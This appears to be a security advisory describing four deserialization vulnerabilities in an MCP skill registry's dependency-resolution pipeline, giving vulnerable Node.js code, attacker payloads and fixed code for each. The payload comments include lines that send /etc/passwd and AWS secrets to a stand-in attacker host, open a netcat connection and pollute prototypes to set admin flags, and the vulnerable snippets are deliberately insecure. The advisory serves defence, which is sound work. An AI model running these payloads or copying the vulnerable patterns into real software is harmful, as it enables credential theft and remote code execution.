SA-SKL-DESER15 — Insecure Deserialization
Insecure Deserialization in MCP Skill Registry Skill Dependency Resolution and Lockfile Parsing Pipeline
The dependency resolution pipeline processes skill dependency manifests, npm lockfiles, semver constraints, and security advisory feeds from various external sources. SA-SKL-DESER15 covers four deserialization vulnerabilities across this pipeline that allow an attacker who controls any input file to achieve remote code execution or prototype pollution during routine dependency resolution operations.
YAML.load(DEFAULT_FULL_SCHEMA); !!js/function in dependencies field achieves parse-time RCE during dependency resolution; fix: YAML.FAILSAFE_SCHEMA; store manifests as JSONJSON.parse + Object.assign into dependency context; attacker lockfile with __proto__.__defineGetter__ entry achieves prototype pollution affecting all subsequent dependency lookups; fix: Zod schema post-parse; null-prototype target objectvm.runInNewContext with eval'd semver comparison string from lockfile; attacker injects process.env exfiltration expression; fix: semver.satisfies() from trusted package; never eval lockfile fieldsnode-php-serialize; IIFE gadget chain in advisory data achieves RCE when advisory loaded for display; fix: JSON only for advisory data; never use PHP-serialize-style codecs in NodeDESER15-001 — YAML.load DEFAULT_FULL_SCHEMA RCE via dependency manifest !!js/function
The skill dependency manifest is a YAML file stored in S3 alongside the skill package. During dependency resolution, the registry fetches and parses this manifest to build the dependency graph. The parser uses YAML.load(content, { schema: YAML.DEFAULT_FULL_SCHEMA }) — the full schema includes the !!js/function tag which deserializes YAML-encoded JavaScript function strings into live function objects at parse time.
// DESER15-001 — VULNERABLE
// YAML.load with DEFAULT_FULL_SCHEMA deserializes !!js/function tags — parse-time RCE.
const YAML = require('js-yaml');
async function resolveDependencies(skillId) {
const content = await s3.getObject({ Bucket: 'skill-manifests', Key: `${skillId}/manifest.yaml` });
// VULNERABLE: DEFAULT_FULL_SCHEMA includes !!js/function — attacker controls manifest.yaml
const manifest = YAML.load(content.Body.toString(), { schema: YAML.DEFAULT_FULL_SCHEMA });
return buildDependencyGraph(manifest.dependencies);
}
// Attacker manifest.yaml:
// dependencies:
// "evil-dep": !!js/function >
// function() {
// require('child_process').execSync('curl attacker.com/$(cat /etc/passwd | base64)');
// return "1.0.0";
// }()
Fix: Always use YAML.FAILSAFE_SCHEMA when parsing external YAML — it allows only strings, sequences, and mappings. Store skill dependency manifests as JSON rather than YAML; JSON has no equivalent of !!js/function. If YAML is a strict requirement for compatibility, validate the parsed object against a Zod schema before using any field values.
// DESER15-001 — FIXED
const YAML = require('js-yaml');
const { ManifestSchema } = require('../schemas/manifest');
async function resolveDependencies(skillId) {
const content = await s3.getObject({ Bucket: 'skill-manifests', Key: `${skillId}/manifest.yaml` });
// FAILSAFE_SCHEMA: strings, sequences, mappings only — no !!js/function or any type tags
const raw = YAML.load(content.Body.toString(), { schema: YAML.FAILSAFE_SCHEMA });
const manifest = ManifestSchema.parse(raw); // Zod schema: reject unexpected shapes
return buildDependencyGraph(manifest.dependencies);
}
DESER15-002 — Prototype pollution via lockfile JSON.parse + Object.assign
The lockfile parser reads an npm-compatible package-lock.json from the skill's submitted archive and uses Object.assign(dependencyContext, JSON.parse(lockfileContent)) to merge lockfile data into an internal dependency context object. An attacker who submits a lockfile containing a __proto__ property can pollute Object.prototype, causing all subsequently created objects in the registry process to inherit the attacker-injected properties. This can escalate to arbitrary privilege depending on what properties are subsequently accessed on those objects.
// DESER15-002 — VULNERABLE
// Object.assign of JSON.parse result — __proto__ in attacker lockfile pollutes Object.prototype.
function parseLockfile(lockfileContent) {
const parsed = JSON.parse(lockfileContent); // parses __proto__ as a regular key
const ctx = {};
Object.assign(ctx, parsed); // VULNERABLE: __proto__ from parsed object sets Object.prototype
return ctx;
}
// Attacker package-lock.json:
// {"__proto__":{"isAdmin":true,"role":"admin","planSlug":"team"}}
Fix: Parse the lockfile content into a Zod schema that rejects unknown keys. Use a null-prototype target for the merge: Object.assign(Object.create(null), parsed). Never use Object.assign with untrusted parsed JSON without prior schema validation. Consider using JSON.parse with a reviver function that rejects __proto__, constructor, and prototype keys.
// DESER15-002 — FIXED
const { LockfileSchema } = require('../schemas/lockfile');
function parseLockfile(lockfileContent) {
const parsed = JSON.parse(lockfileContent, (key, value) => {
// Reviver: drop prototype-polluting keys before they touch any object
if (key === '__proto__' || key === 'constructor' || key === 'prototype') return undefined;
return value;
});
return LockfileSchema.parse(parsed); // Zod: strict shape, rejects unknown keys
}
DESER15-003 — eval of semver comparison string from lockfile — RCE via vm.runInNewContext
The dependency resolver evaluates semver compatibility by constructing a comparison expression from the lockfile's version range strings and passing it to vm.runInNewContext. The developer used this approach to support arbitrary semver range expressions without implementing a full semver parser. An attacker who controls the lockfile can inject arbitrary JavaScript into the comparison string; vm.runInNewContext does not sandbox process or require in older Node.js versions and is a known RCE vector.
// DESER15-003 — VULNERABLE
// vm.runInNewContext with eval'd semver comparison string from lockfile — RCE.
const vm = require('vm');
function checkSemverCompatibility(requiredRange, installedVersion) {
// VULNERABLE: requiredRange comes from attacker-controlled lockfile
const expr = `"${installedVersion}".match(/^${requiredRange}$/) !== null`;
return vm.runInNewContext(expr, {}); // process accessible via constructor chain
}
// Attacker lockfile version range:
// "^1.0.0 || (process.env.AWS_SECRET_ACCESS_KEY && fetch('https://attacker.com/' + process.env.AWS_SECRET_ACCESS_KEY))"
Fix: Never eval semver range expressions. Use the semver npm package (semver.satisfies(version, range)) which is a battle-tested, injection-safe semver parser. Validate the range string against a semver range regex before passing it to semver.satisfies() as an additional defence layer.
// DESER15-003 — FIXED
const semver = require('semver');
const SEMVER_RANGE_RE = /^[0-9x.*|^~ <>=!-]{1,100}$/;
function checkSemverCompatibility(requiredRange, installedVersion) {
if (!SEMVER_RANGE_RE.test(requiredRange)) {
throw new Error(`Invalid semver range: ${requiredRange}`);
}
return semver.satisfies(installedVersion, requiredRange);
}
DESER15-004 — node-php-serialize IIFE gadget chain in advisory feed — RCE
The dependency advisory feed is fetched from an internal Redis key and decoded using the node-php-serialize library — a Node.js port of PHP's serialize/unserialize format adopted for compatibility with a legacy advisory pipeline. When the advisory data contains a serialized PHP object with an __destruct method implemented as an immediately-invoked function expression (IIFE), node-php-serialize's unserialize() executes the IIFE during deserialization, achieving RCE when the advisory data is loaded for display in the admin panel.
// DESER15-004 — VULNERABLE
// node-php-serialize unserialize() — IIFE gadget chain achieves RCE.
const { unserialize } = require('node-php-serialize');
async function loadAdvisory(advisoryId) {
const raw = await redis.get(`advisory:${advisoryId}`);
// VULNERABLE: node-php-serialize executes __destruct IIFEs during deserialization
const advisory = unserialize(raw);
return advisory;
}
// Attacker Redis payload (if Redis write access obtained):
// O:4:"Evil":1:{s:4:"code";s:60:"(function(){require('child_process').exec('id | nc attacker 4444')})()";}
Fix: Never use PHP serialize-style codecs (node-php-serialize, node-serialize, or any other codec that supports executable gadget chains) in Node.js for any data that could be influenced by an attacker. Store advisory data as plain JSON in Redis. Use a Zod schema post-parse to validate the advisory structure. Remove the node-php-serialize dependency entirely from the project.
// DESER15-004 — FIXED
const { AdvisorySchema } = require('../schemas/advisory');
async function loadAdvisory(advisoryId) {
const raw = await redis.get(`advisory:${advisoryId}`);
if (!raw) return null;
const parsed = JSON.parse(raw); // JSON only — no PHP-serialize-style codecs
return AdvisorySchema.parse(parsed); // Zod: strict shape, no executable fields
}
Summary
| Finding | Pattern | Severity | Fix |
|---|---|---|---|
| DESER15-001 | YAML.load(DEFAULT_FULL_SCHEMA) on dependency manifest | CRITICAL | YAML.FAILSAFE_SCHEMA; store manifests as JSON |
| DESER15-002 | JSON.parse + Object.assign on lockfile | HIGH | Zod schema post-parse; null-prototype target; reviver drops __proto__ |
| DESER15-003 | vm.runInNewContext with eval'd semver range from lockfile | CRITICAL | semver.satisfies() from trusted package; never eval lockfile fields |
| DESER15-004 | node-php-serialize IIFE gadget chain on advisory feed | CRITICAL | JSON only for advisory data; remove node-php-serialize entirely |
Related: SA-SKL-DESER14 (audit report export and PDF generation deserialization), SA-SKL-DESER13 (skill version management and rollback deserialization). Run SkillAudit to detect all DESER15 patterns in your MCP skill registry.